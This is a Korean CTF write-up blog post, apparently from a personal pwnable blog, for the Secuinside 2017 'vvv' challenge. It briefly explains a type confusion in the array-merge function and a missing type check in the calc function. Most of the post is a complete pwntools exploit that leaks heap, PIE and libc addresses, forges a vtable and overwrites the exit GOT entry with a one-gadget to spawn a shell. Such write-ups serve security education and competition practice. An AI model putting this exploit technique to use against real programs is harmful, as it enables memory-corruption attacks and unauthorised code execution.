-
Secuinside 2017 vvvPwnable/CTF 2018. 5. 13. 20:23
VVV는 배열들을 구현하는 프로그램이다.
Native array
NativeInt array
String
Big Int
Small Int
위와 같이 5개가 있다.
1234567891011121314151617181920212223242526272829303132333435363738390x1000 { 0x10001000, 0x17 NativeArrayNativeArray* vtableint32_t argument_cmd_1000int32_t two 12int64_t array_size 16int64_t size 24char* array_size_heap[] 32}0x1000 { 0x10001000, else NativeIntArrayNativeIntArray* vtableint32_t argument_cmd_1000int32_t one 12int64_t array_size 16int64_t size 24char* array_size_heap[] 32}0x2000 { 0x20002000 stringString* vtable 0int32_t argument_cmd_2000 8int32_t . 12char* strlen_heap 16int64_t strlen 24}0x3000 { 0x30003000 BigNumber (cmd > 0x80000000)BigNumber* vtable 0int32_t argumunt_cmd_3000 8int32_t . 12int64_t argument_cmd_save_number 16}else {int 4104[] set}
cs(구조체를 따로 정리를 하다가 귀찮아서 아이다만 참고하면서 풀어 가지고 중간 중간에 추가하지 않은 부분이 있을 수 있습니다.)
간단하게 취약점을 설명하자면 0x17 -> 0x77이 계산 기능인데 이 부분에서 ar0, ar1을 입력받을때 ar0은 type check를 하는데 ar1은 type check를 안 해서 릭을 할때나 공격을 할 때 쓸수있다.
이 문제에서 가장 큰 취약점은 배열들을 합치는 기능이 있는데 그 곳에서 생긴다. (0x17 -> 0x33)
첫 번째 인덱스에서는 NativeArray를 체크, 두 번째 인덱스에서는 Native만 체크를 한다.
여기서 보면 딱히 문제가 될게 없어 보이지만 create부분을 보면 NativeInt는 배열 하나의 인덱스당 4byte로 나눠서 만든다.
근데 합치는 기능에서는 8byte로 나누고, 8*array_size를 해서 만들기 때문에 type confusion 취약점이 생긴다.
type confusion을 이용하여서 Native size_heap에 추가 -> NativeArray로 만들고 -> 계산 기능을 이용 하여서 릭을 할 수 있다.
공격도 위와 같이 type confusion을 쓰고 smallInt가 저장되는 pie + 0x4104 배열로 돌려서 fake vtable을 짜고 vtable을 String으로 돌려서 exit got에 원샷을 복사 하게 만들었다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157from pwn import *import sysp=process('./vvv')def NativeArray(size):p.send('\x20')p.send('\x00\x10\x00\x10')p.send('\x17')p.send(size)p.recv()def NativeInt(size):p.send('\x20')p.send('\x00\x10\x00\x10')p.send('\x20')p.send(size)p.recv()def String(data):p.send('\x20')p.send('\x00\x20\x00\x20')p.sendline(data)p.recv()def BigNum(num):p.send('\x20')p.send(num)def calc(BigInt,target,cmd):p.send('\x17')p.send('\x77')p.send(BigInt)p.send(target)p.send(cmd)def view(idx):p.send('\x17')p.send('\x22')p.send(idx)def NativeInt_sub(NativeNum,NativeAr,size):p.send('\x17')p.send('\x13')p.send(NativeNum)p.send(NativeAr)p.send(size)def NativeArray_sub(NativeAr,All,size):p.send('\x17')p.send('\x37')p.send(NativeAr)p.send(All)p.send(size)def Native_InAr(NativeAr,Native):p.send('\x17')p.send('\x33')p.send(NativeAr)p.send(Native)def Sub_Native(Native,idx): #Native->sub -> New global_Arrayp.send('\x17')p.send('\x11')p.send(Native)p.send(idx)def smallInt(Num):p.send('\x20')p.send(Num)NativeArray(p64(0x10))NativeInt(p64(0x10))String('AAAA')BigNum('\x00\x00\x00\x81')#init allocate array !! 0 native 1 native_int 2 string 3 bignumbercalc(p64(0x3),p64(0x2),'\x01')view(p64(0x3))p.recvuntil('[3]\n[')heap = int(p.recvuntil(']').split(']')[0]) - 0x81000000 - 0x13350print hex(heap)NativeInt_sub(p64(0x1),p64(0x0),p64(0x12))BigNum('\x00\x00\x00\x81') #4 bignumberNativeArray_sub(p64(0),p64(1),p64(0xf))Native_InAr(p64(0),p64(1)) #5Sub_Native(p64(5),p64(0x1a)) #6calc(p64(4),p64(6),'\x01')view(p64(4))p.recvuntil('[4]\n[')pie = int(p.recvuntil(']').split(']')[0]) - 0x81000000 - 0x24e2print hex(pie)#pie leak !!calc(p64(4),p64(6),'\x02') #0x81000000NativeInt_sub(p64(0x1),p64(0x0),p64(0x12))String(p64(pie+0x203f38-0x10)) #7NativeArray_sub(p64(0),p64(1),p64(0xf))Native_InAr(p64(0),p64(1)) #8Sub_Native(p64(8),p64(0x20)) #9 -> exit_got - 0x10calc(p64(4),p64(9),'\x01')view(p64(4))p.recvuntil('[7]\n[')exit = int(p.recvuntil(']').split(']')[0]) - 0x81000000libc_base = exit - 0x3a030print hex(exit)print hex(libc_base)calc(p64(4),p64(9),'\x02')sleep(1)NativeArray(p64(2)) #10sleep(1)NativeInt(p64(0x10)) #11sleep(2)NativeInt_sub(p64(0xb),p64(0),p64(0x12))String(p64(heap+0x12c28)) #12'''BigNum('\x00\x90\x00\x90') #13BigNum('\x00\x00\x00\x81') #14BigNum('\03\x00\x00\x81') #15calc(p64(15),p64(14),'\x02')calc(p64(13),p64(15),'\x04')calc(p64(14),p64(4),'\x02')'''Native_InAr(p64(0),p64(0xb)) #13Sub_Native(p64(13),p64(0x20)) #14smallInt(p64(pie+0x203c40)[0:4])smallInt(p64(pie+0x203c40)[4:])smallInt(p32(0x30003000))smallInt(p32(0))smallInt(p64(pie+0x203f38)[0:4])smallInt(p64(pie+0x203f38)[4:])#fake vtable setsmallInt(p32(0x50))smallInt(p32(0x0))smallInt(p64(libc_base+0xf02a4)[0:4])smallInt(p64(libc_base+0xf02a4)[4:])sleep(2)NativeInt(p64(0x10)) #15print 'SLEEP ...'a = p.recv(1024)print aif 'Box index : [15]' not in a:sys.exit()print 'Success'sleep(1)NativeInt_sub(p64(15),p64(0),p64(0x12))sleep(2)String(p64(heap+0x12c48)) #16Native_InAr(p64(0),p64(15)) #17Sub_Native(p64(17),p64(0x20)) #18calc(p64(14),p64(18),'\x01')p.send('\x01')p.interactive()cs (으 .. 코드가 드럽다 ..)
'Pwnable > CTF' 카테고리의 다른 글
Codegate 2018 7ameBOX1 (0) 2018.05.21 RCTF 2018 Write up (2) 2018.05.21 Codegate 2017 JsWorld (0) 2018.05.10 Codegate 2018 Final (0) 2018.04.10 Codegate 2017 final VM (0) 2018.03.22